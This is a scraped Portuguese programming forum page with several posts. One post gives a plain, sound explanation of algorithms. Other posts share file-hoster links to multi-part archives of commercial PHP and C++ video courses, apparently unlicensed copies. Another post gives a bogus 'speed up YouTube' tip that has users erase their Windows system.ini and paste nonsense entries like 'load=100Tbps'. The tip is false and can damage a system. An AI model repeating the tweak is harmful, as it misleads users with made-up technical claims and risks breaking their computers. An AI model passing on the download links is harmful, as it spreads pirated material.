(Arquivos do Fireworks) Substituindo as Imagens em Cada Arquivo Criando os links nos Menus e Testando o Site Capítulo 9 Falando sobre o sistema de notícias Criação do banco de dados e das tabelas Criação da conexão com o banco de dados no DW Criando a área administrativa (visual) Criando arquivo para gerenciar usuários Criando arquivo para cadastrar/alterar/excluir usuários Criando arquivo para gerenciar as notícias Criando arquivo para cadastrar/alterar/excluir notícias Criando editor de texto para escrever as notícias Capítulo 10 Criando página de login Protegendo o sistema / restringindo acesso Criando recurso Logoff Testando o sistema localmente Capítulo 11 Exibindo as últimas 3 notícias no site Criando a página de detalhe para exibir a notícia completa Criando página com todas as notícias (central de notícias) Criando navegação para as notícias (próximo e anterior) Testando o site completo localmente Capítulo 12 Conectando ao FTP e publicando o site Criando banco de dados online e as tabelas Alterando arquivo de conexão e reenviando Testando o site online http://uploaded.net/...3.PHP.part1.rar http://uploaded.net/...3.PHP.part2.rar http://uploaded.net/...3.PHP.part3.rar http://uploaded.net/...3.PHP.part4.rar --- http://bitshare.com/....part1.rar.html http://bitshare.com/....part2.rar.html http://bitshare.com/....part3.rar.html http://bitshare.com/....part4.rar.html
  23. Para que um computador faça qualquer coisa, você precisa de um programa de computador. Para criar um programa de computador, você tem de informar ao computador, passo a passo, exatamente o que você espera que ele faça. O computador então "executa" o programa, seguindo cada passo mecanicamente para atingir o objetivo final. Quando você "diz" ao computador o que fazer, você também deve escolhercomo ele vai fazer. é aí que entram os algoritmos de computador. Algoritmo é a técnica básica usada para fazer o trabalho. Vamos acompanhar um exemplo para ajudar a entender o conceito de algoritmo. Digamos que você tem um amigo chegando ao aeroporto e ele precisa ir do aeroporto até sua casa. Aqui estão quatro algoritmos diferentes que você poderia dar a seu amigo para ele chegar à casa: [*]o algoritmo do táxi: [*]vá para o ponto de táxi; [*]entre em um táxi; [*]dê meu endereço ao motorista. [*]o algoritmo "ligue-me": [*]quando seu avião chegar, ligue para meu celular; [*]espere do lado de fora do terminal de bagagens (em inglês). [*]O algoritmo "alugue um carro": [*]pegue o circular até o aluguel de automóveis; [*]alugue um carro; [*]siga as instruções para chegar até minha casa. [*]O algoritmo do ônibus: [*]fora do terminal de bagagens, pegue o ônibus número 70; [*]faça uma baldeação para o ônibus 14 na Rua Dom Pedro; [*]desça na rua Aroeira; [*]ande duas quadras para norte até minha casa. Todos esses quatro algoritmos atingem exatamente a mesma meta, mas cada um deles o faz de modo completamente diferente. Cada algoritmo também possui um custo e um tempo de viagem diferentes. O táxi, por exemplo, é a maneira mais rápida e cara. Já o ônibus é definitivamente mais barato, mas bem mais lento. Você escolhe o algoritmo com base nas circunstâncias. Na programação de computadores, freqüentemente há diversos caminhos, ou algoritmos, para cumprir qualquer tarefa determinada. Cada algoritmo tem vantagens e desvantagens em situações diferentes. A ordenação é uma área onde se fez muita pesquisa, porque os computadores gastam muito tempo classificando listas. Aqui estão cinco algoritmos diferentes que são usados na ordenação: [*]ordenação por caixas [*]ordenação por mistura [*]ordenação por bolha [*]ordenação por aparência [*]ordenação rápida Se você tem um milhão de valores inteiros entre 1 e 10 e precisa ordená-los, a ordenação por caixa é o algoritmo certo a ser usado. Se você tem um milhão de títulos de livros, o método ordenação rápida poderia ser o melhor algoritmo. Conhecendo os pontos fortes e fracos dos diferentes algoritmos, você escolhe o melhor para a tarefa que tem em mãos.
  24. Oi a todos to de volta http://cyber-gamers.org/public/style_emoticons/default/angry.png , o YouTube é o site mais popular entre muitos famosos upload de vídeo e sites de compartilhamento free lá fora. E até hoje maioria dos usuários não tem a velocidade de internet rápida para ver o vídeo favorito é por isso que eles têm que baixar o video inteiro para o seu PC e então eles são capazes de vê-lo. Então, hoje estou vindo com uma vamos se dizer dica, mas poderosa que irá impulsionar o seu YouTube a sua velocidade ideal,Então vamos começar. Coisas que você precisa fazer: 1. Vá em Iniciar -> Executar -> 2. digite system.ini 3. pressione Enter Você obterá um arquivo notepad apague tudo oque tem nela e cole as abaixo de ; for 16-bit app support [386Enh] (Se o seu não tem o [386Enh] não tem problema so cola em baixo do ; for 16-bit app support mesmo assim) Fazer um backup desse arquivo antes de fazer esse procedimento! for 16-bit app support: [drivers] wave=mmdrv.dll timer=timer.drv [mci] [driver32] [386enh] woafont=dosapp.FON EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON Em seguida, copiar o seguinte: load=100Tbps download=100Tbps save=100Tbps back=100Tbps search=100Tbps sound=100Tbps webcam=100Tbps voice=100Tbps faxmodemfast=100Tbps update=100Tbps Em seguida, tente todos os vídeos que você quer, você vai perceber que desta vez ele vai carregar um pouco mais rápido. Bye .... http://cyber-gamers.org/public/style_emoticons/default/biggrin.png
  25. Tamanho: 4,16 GB Formato: rar Idioma: Inglês C++ Fundamental I e II LiveLessons é para desenvolvedores de software profissionais que não estão familiarizados com o C++ e programação orientada a objeto. Este contém mais de 18 horas LiveLesson de instruções em vídeo de especialistas, espalhados por 16 aulas separadas. Veja como profissional distinto professor de linguagens de programação e assinatura autor Paul Deitel Deitel de usar a abordagem live-código para introduzir C++ fundamentos, e orientada a objetos e programação orientada a eventos. Aulas iniciais do Deitel ea abordagem objetos submerge-o na programação orientada a objetos desde o início. Todos os conceitos são apresentados no contexto de completa-programas de trabalho usando o Microsoft Visual C++ versão Express do Visual Studio e suas ferramentas. Letitbit http://letitbit.net/download/66469.6d66f5dbe7de265ccc4c6bbda195/C_Fundamentals_1_And_2.iso.001.html http://letitbit.net/download/15860.1f3bd066f915af84d77bdbdea980/C_Fundamentals_1_And_2.iso.002.html http://letitbit.net/download/89194.80eda6ce291301717a104455890c/C_Fundamentals_1_And_2.iso.003.html http://letitbit.net/download/31624.3492dfbedaa78717a9f142be0e5c/C_Fundamentals_1_And_2.iso.004.html http://letitbit.net/download/37534.33002aafaeef7b34dbd9dd10c0a4/C_Fundamentals_1_And_2.iso.005.html http://letitbit.net/download/01282.0d33bbdc0a5fcf3e2db463f00ff2/C_Fundamentals_1_And_2.iso.006.html Uploadboost http://www.uploadboost.com/rf3ts6vgtqnt/C_Fundamentals_1_And_2.iso.001 http://www.uploadboost.com/ocy5j5yowcq7/C_Fundamentals_1_And_2.iso.002 http://www.uploadboost.com/hw7ifv6mdtib/C_Fundamentals_1_And_2.iso.003 http://www.uploadboost.com/ph6q30urywrl/C_Fundamentals_1_And_2.iso.004 http://www.uploadboost.com/1to5xkjgub0g/C_Fundamentals_1_And_2.iso.005 http://www.uploadboost.com/zc8txidxd5tg/C_Fundamentals_1_And_2.iso.006 Queenshare http://www.queenshare.com/qxdmvs8vdv5c http://www.queenshare.com/hwfvcjpf1nqe http://www.queenshare.com/x1rucs7ij55k http://www.queenshare.com/mbanonz14rki http://www.queenshare.com/w609qlbso0yl http://www.queenshare.com/k3uopghl02kq ...